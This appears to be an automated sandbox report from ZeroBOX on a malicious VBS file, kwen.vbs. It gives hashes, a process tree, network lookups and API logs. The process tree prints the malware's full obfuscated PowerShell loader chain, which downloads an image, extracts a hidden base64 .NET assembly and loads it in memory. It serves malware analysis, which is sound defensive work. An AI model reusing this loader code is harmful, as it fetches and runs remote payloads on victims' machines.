popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

kwen.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 23, 2023, 1:12 p.m. Oct. 23, 2023, 1:14 p.m.
Size 736.9KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 6919d3ccefbb9391a2f2a4deb3e52e70
SHA256 4c0389742497ee7260221fa9174f2fa728d7975d8d38df4d05acfbb3318e80b1
CRC32 BF7306EF
ssdeep 1536:YZsg82YCMFBPXkdLCAqIGkd6GebsvCDoY2VJyon4Zn5gZU4/rD7SKai9qvKHNrn/:XVkdLGkdMngZU4/rysxNj53v
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\kwen.vbs

    2536

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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ZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCsvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeULgBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUYgBhvAbfwTjZQSeUHMvAbfwTjZQSeUZQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUTvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZwB0vAbfwTjZQSeUGgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUCvAbfwTjZ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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2648

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

        2768

Name Response Post-Analysis Lookup
wallpapercave.com
A 104.22.53.71
A 104.22.52.71
A 172.67.29.26
172.67.29.26
IP Address Status Action
104.22.53.71 Active Moloch
164.124.101.2 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: An unexpected error occurred on a send."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:142
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-O
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: bject System.Net.WebClient;$imageBytes = $webClient.DownloadData <<<< ($imageUr
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: l);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.Index
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: Of($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $end
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: Index - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64L
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: ength);$commandBytes = [System.Convert]::FromBase64String($base64Command);$load
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: edAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedA
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: ssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [o
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: bject[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , '
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: At line:1 char:205
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-O
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: bject System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$im
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: ageText = [System.Text.Encoding]::UTF8.GetString <<<< ($imageBytes);$startFlag
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.Index
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: Of($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $end
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: Index - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64L
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: ength);$commandBytes = [System.Convert]::FromBase64String($base64Command);$load
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: edAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedA
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: ssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [o
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: bject[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , '
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: dfdf' , 'dadsa' , 'de' , 'cu'))
